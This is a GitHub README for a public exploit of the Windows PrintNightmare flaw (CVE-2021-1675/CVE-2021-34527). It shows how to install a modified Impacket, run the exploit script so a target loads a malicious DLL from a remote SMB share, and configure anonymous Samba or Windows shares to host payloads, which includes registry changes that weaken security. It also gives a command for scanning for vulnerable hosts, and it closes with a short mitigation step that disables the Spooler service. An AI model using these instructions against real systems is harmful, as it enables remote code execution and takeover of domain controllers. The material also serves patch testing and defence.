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https://github.com/cube0x0/CVE-2021-1675

C# and Impacket implementation of PrintNightmare CVE-2021-1675/CVE-2021-34527
https://github.com/cube0x0/CVE-2021-1675

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C# and Impacket implementation of PrintNightmare CVE-2021-1675/CVE-2021-34527

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# CVE-2021-1675 / CVE-2021-34527

Impacket implementation of the [PrintNightmare ](https://github.com/afwu/PrintNightmare) PoC originally created by Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370)

Tested on a fully patched 2019 Domain Controller

Execute malicious DLL's remote or locally

![](Images/poc2.png)

### Patch update
Microsoft has released a patch to mitigate against these attacks but if these values below are present on a machine, then the machine will still be vulnerable
```
REG QUERY "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint"

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint
RestrictDriverInstallationToAdministrators REG_DWORD 0x0
NoWarningNoElevationOnInstall REG_DWORD 0x1
```

### Installation

Before running the exploit you need to install my version of Impacket and after that you're gucci

```
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
```

### CVE-2021-1675.py

```
usage: CVE-2021-1675.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share

CVE-2021-1675 implementation.

positional arguments:
target [[domain/]username[:password]@]
share Path to DLL. Example '\\10.10.10.10\share\evil.dll'

optional arguments:
-h, --help show this help message and exit

authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH

connection:
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
and you cannot resolve it
-port [destination port]
Destination port to connect to SMB Server

Example;
./CVE-2021-1675.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'
```

### SMB configuration

Easiest way to host payloads is to use samba and modify `/etc/samba/smb.conf ` to allow anonymous access

```
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445

[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
force user = smbuser
```

From windows it's also possible

```
mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot
```

### Scanning

We can use `rpcdump.py` from impacket to scan for potential vulnerable hosts, if it returns a value, it could be vulnerable

```bash
rpcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'

Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
```

### Mitigation

Disable Spooler service

```powershell
Stop-Service Spooler
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start" /t REG_DWORD /d "4" /f
```